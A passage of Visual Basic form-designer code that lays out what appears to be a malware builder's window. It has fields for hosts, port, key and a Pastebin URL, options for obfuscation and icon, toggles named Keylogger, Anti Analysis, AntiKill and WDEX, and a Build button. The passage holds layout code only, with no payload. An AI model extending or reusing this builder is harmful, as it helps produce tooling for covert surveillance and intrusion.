Me.Label1.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label1.Location = New System.Drawing.Point(40, 10)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(41, 13)
|
||||
Me.Label1.TabIndex = 28
|
||||
Me.Label1.Text = "Hosts :"
|
||||
'
|
||||
'ListBox1
|
||||
'
|
||||
Me.ListBox1.BackColor = System.Drawing.Color.White
|
||||
Me.ListBox1.ForeColor = System.Drawing.Color.Black
|
||||
Me.ListBox1.FormattingEnabled = True
|
||||
Me.ListBox1.Location = New System.Drawing.Point(87, 10)
|
||||
Me.ListBox1.Name = "ListBox1"
|
||||
Me.ListBox1.Size = New System.Drawing.Size(307, 56)
|
||||
Me.ListBox1.TabIndex = 27
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Me.Guna2GradientButton1.BorderRadius = 4
|
||||
Me.Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Me.Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Me.Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Me.Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Me.Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Me.Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Me.Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Me.Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Me.Guna2GradientButton1.Location = New System.Drawing.Point(15, 176)
|
||||
Me.Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Me.Guna2GradientButton1.Size = New System.Drawing.Size(409, 34)
|
||||
Me.Guna2GradientButton1.TabIndex = 51
|
||||
Me.Guna2GradientButton1.Text = "Build"
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Me.Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox2.BorderRadius = 3
|
||||
Me.Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox2.DefaultText = ""
|
||||
Me.Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox2.IconLeft = CType(resources.GetObject("Guna2TextBox2.IconLeft"), System.Drawing.Image)
|
||||
Me.Guna2TextBox2.IconRight = CType(resources.GetObject("Guna2TextBox2.IconRight"), System.Drawing.Image)
|
||||
Me.Guna2TextBox2.Location = New System.Drawing.Point(87, 72)
|
||||
Me.Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Me.Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox2.PlaceholderText = ""
|
||||
Me.Guna2TextBox2.SelectedText = ""
|
||||
Me.Guna2TextBox2.Size = New System.Drawing.Size(307, 21)
|
||||
Me.Guna2TextBox2.TabIndex = 47
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Me.Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox1.BorderRadius = 3
|
||||
Me.Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox1.DefaultText = "<666666>"
|
||||
Me.Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox1.Location = New System.Drawing.Point(87, 130)
|
||||
Me.Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Me.Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox1.PlaceholderText = ""
|
||||
Me.Guna2TextBox1.SelectedText = ""
|
||||
Me.Guna2TextBox1.Size = New System.Drawing.Size(307, 21)
|
||||
Me.Guna2TextBox1.TabIndex = 49
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Me.Label9.AutoSize = True
|
||||
Me.Label9.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label9.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label9.Location = New System.Drawing.Point(49, 133)
|
||||
Me.Label9.Name = "Label9"
|
||||
Me.Label9.Size = New System.Drawing.Size(32, 13)
|
||||
Me.Label9.TabIndex = 48
|
||||
Me.Label9.Text = "Key :"
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Me.Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox3.BorderRadius = 3
|
||||
Me.Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox3.DefaultText = "6000"
|
||||
Me.Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox3.Location = New System.Drawing.Point(87, 103)
|
||||
Me.Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Me.Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox3.PlaceholderText = ""
|
||||
Me.Guna2TextBox3.SelectedText = ""
|
||||
Me.Guna2TextBox3.Size = New System.Drawing.Size(307, 21)
|
||||
Me.Guna2TextBox3.TabIndex = 51
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Me.Label10.AutoSize = True
|
||||
Me.Label10.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label10.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label10.Location = New System.Drawing.Point(47, 107)
|
||||
Me.Label10.Name = "Label10"
|
||||
Me.Label10.Size = New System.Drawing.Size(34, 13)
|
||||
Me.Label10.TabIndex = 50
|
||||
Me.Label10.Text = "Port :"
|
||||
'
|
||||
'Guna2CheckBox3
|
||||
'
|
||||
Me.Guna2CheckBox3.AutoSize = True
|
||||
Me.Guna2CheckBox3.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox3.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox3.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox3.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox3.Location = New System.Drawing.Point(87, 187)
|
||||
Me.Guna2CheckBox3.Name = "Guna2CheckBox3"
|
||||
Me.Guna2CheckBox3.Size = New System.Drawing.Size(67, 17)
|
||||
Me.Guna2CheckBox3.TabIndex = 66
|
||||
Me.Guna2CheckBox3.Text = "Pastebin"
|
||||
Me.Guna2CheckBox3.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox3.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox3.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox3.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2TextBox4
|
||||
'
|
||||
Me.Guna2TextBox4.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox4.BorderRadius = 3
|
||||
Me.Guna2TextBox4.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox4.DefaultText = "https://pastebin.com/raw/YourURL"
|
||||
Me.Guna2TextBox4.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox4.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox4.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox4.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox4.Location = New System.Drawing.Point(87, 210)
|
||||
Me.Guna2TextBox4.Name = "Guna2TextBox4"
|
||||
Me.Guna2TextBox4.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox4.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox4.PlaceholderText = ""
|
||||
Me.Guna2TextBox4.SelectedText = ""
|
||||
Me.Guna2TextBox4.Size = New System.Drawing.Size(307, 21)
|
||||
Me.Guna2TextBox4.TabIndex = 67
|
||||
'
|
||||
'Label12
|
||||
'
|
||||
Me.Label12.AutoSize = True
|
||||
Me.Label12.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label12.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label12.Location = New System.Drawing.Point(48, 214)
|
||||
Me.Label12.Name = "Label12"
|
||||
Me.Label12.Size = New System.Drawing.Size(33, 13)
|
||||
Me.Label12.TabIndex = 68
|
||||
Me.Label12.Text = "URL :"
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
Me.ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
Me.ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
Me.ImageList1.Images.SetKeyName(0, "icons8-connection-48.png")
|
||||
Me.ImageList1.Images.SetKeyName(1, "icons8_msdf3aintenance_32.png")
|
||||
Me.ImageList1.Images.SetKeyName(2, "icons8-new-property-48.png")
|
||||
Me.ImageList1.Images.SetKeyName(3, "icons8-creating-48.png")
|
||||
Me.ImageList1.Images.SetKeyName(4, "icons8-network-48.png")
|
||||
'
|
||||
'Guna2CheckBox2
|
||||
'
|
||||
Me.Guna2CheckBox2.AutoSize = True
|
||||
Me.Guna2CheckBox2.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox2.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox2.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox2.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox2.Location = New System.Drawing.Point(339, 138)
|
||||
Me.Guna2CheckBox2.Name = "Guna2CheckBox2"
|
||||
Me.Guna2CheckBox2.Size = New System.Drawing.Size(47, 17)
|
||||
Me.Guna2CheckBox2.TabIndex = 70
|
||||
Me.Guna2CheckBox2.Text = "Icon"
|
||||
Me.Guna2CheckBox2.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox2.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox2.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox2.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2CheckBox1
|
||||
'
|
||||
Me.Guna2CheckBox1.AutoSize = True
|
||||
Me.Guna2CheckBox1.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox1.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox1.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox1.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox1.Location = New System.Drawing.Point(262, 138)
|
||||
Me.Guna2CheckBox1.Name = "Guna2CheckBox1"
|
||||
Me.Guna2CheckBox1.Size = New System.Drawing.Size(70, 17)
|
||||
Me.Guna2CheckBox1.TabIndex = 69
|
||||
Me.Guna2CheckBox1.Text = "Assembly"
|
||||
Me.Guna2CheckBox1.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox1.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox1.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox1.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2CheckBox4
|
||||
'
|
||||
Me.Guna2CheckBox4.AutoSize = True
|
||||
Me.Guna2CheckBox4.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox4.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox4.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox4.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox4.Location = New System.Drawing.Point(176, 138)
|
||||
Me.Guna2CheckBox4.Name = "Guna2CheckBox4"
|
||||
Me.Guna2CheckBox4.Size = New System.Drawing.Size(78, 17)
|
||||
Me.Guna2CheckBox4.TabIndex = 74
|
||||
Me.Guna2CheckBox4.Text = "Obfuscator"
|
||||
Me.Guna2CheckBox4.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox4.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox4.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox4.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2ToggleSwitch1
|
||||
'
|
||||
Me.Guna2ToggleSwitch1.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.Location = New System.Drawing.Point(224, 55)
|
||||
Me.Guna2ToggleSwitch1.Name = "Guna2ToggleSwitch1"
|
||||
Me.Guna2ToggleSwitch1.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch1.TabIndex = 76
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch1.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label14
|
||||
'
|
||||
Me.Label14.AutoSize = True
|
||||
Me.Label14.Location = New System.Drawing.Point(265, 59)
|
||||
Me.Label14.Name = "Label14"
|
||||
Me.Label14.Size = New System.Drawing.Size(66, 13)
|
||||
Me.Label14.TabIndex = 75
|
||||
Me.Label14.Text = "Anti Analysis"
|
||||
'
|
||||
'Guna2ToggleSwitch2
|
||||
'
|
||||
Me.Guna2ToggleSwitch2.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch2.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch2.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch2.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch2.Location = New System.Drawing.Point(112, 55)
|
||||
Me.Guna2ToggleSwitch2.Name = "Guna2ToggleSwitch2"
|
||||
Me.Guna2ToggleSwitch2.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch2.TabIndex = 78
|
||||
Me.Guna2ToggleSwitch2.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch2.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch2.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch2.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label15
|
||||
'
|
||||
Me.Label15.AutoSize = True
|
||||
Me.Label15.Location = New System.Drawing.Point(153, 59)
|
||||
Me.Label15.Name = "Label15"
|
||||
Me.Label15.Size = New System.Drawing.Size(54, 13)
|
||||
Me.Label15.TabIndex = 77
|
||||
Me.Label15.Text = "Keylogger"
|
||||
'
|
||||
'Guna2ToggleSwitch3
|
||||
'
|
||||
Me.Guna2ToggleSwitch3.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch3.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch3.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch3.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch3.Location = New System.Drawing.Point(24, 29)
|
||||
Me.Guna2ToggleSwitch3.Name = "Guna2ToggleSwitch3"
|
||||
Me.Guna2ToggleSwitch3.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch3.TabIndex = 80
|
||||
Me.Guna2ToggleSwitch3.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch3.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch3.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch3.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label16
|
||||
'
|
||||
Me.Label16.AutoSize = True
|
||||
Me.Label16.Location = New System.Drawing.Point(65, 33)
|
||||
Me.Label16.Name = "Label16"
|
||||
Me.Label16.Size = New System.Drawing.Size(38, 13)
|
||||
Me.Label16.TabIndex = 79
|
||||
Me.Label16.Text = "AntiKill"
|
||||
'
|
||||
'Guna2ToggleSwitch4
|
||||
'
|
||||
Me.Guna2ToggleSwitch4.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch4.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch4.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch4.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch4.Location = New System.Drawing.Point(24, 55)
|
||||
Me.Guna2ToggleSwitch4.Name = "Guna2ToggleSwitch4"
|
||||
Me.Guna2ToggleSwitch4.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch4.TabIndex = 82
|
||||
Me.Guna2ToggleSwitch4.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch4.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch4.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch4.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label17
|
||||
'
|
||||
Me.Label17.AutoSize = True
|
||||
Me.Label17.Location = New System.Drawing.Point(65, 59)
|
||||
Me.Label17.Name = "Label17"
|
||||
Me.Label17.Size = New System.Drawing.Size(40, 13)
|
||||
Me.Label17.TabIndex = 81
|
||||
Me.Label17.Text = "WDEX"
|
||||
'
|
||||
'Guna2ToggleSwitch5
|
||||
'
|
||||
Me.Guna2ToggleSwitch5.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch5.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch5.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch5.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch5.Location = New System.Drawing.Point(112, 29)
|
||||
Me.Guna2ToggleSwitch5.Name = "Guna2ToggleSwitch5"
|
||||
Me.Guna2ToggleSwitch5.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch5.TabIndex = 84
|
||||
Me.Guna2ToggleSwitch5.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch5.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch5.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch5.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label18
|
||||
'
|
||||
Me.Label18.AutoSize = True
|
||||
Me.Label18.Location = New System.Drawing.Point(153, 33)
|
||||
Me.Label18.Name = "Label18"
|
||||
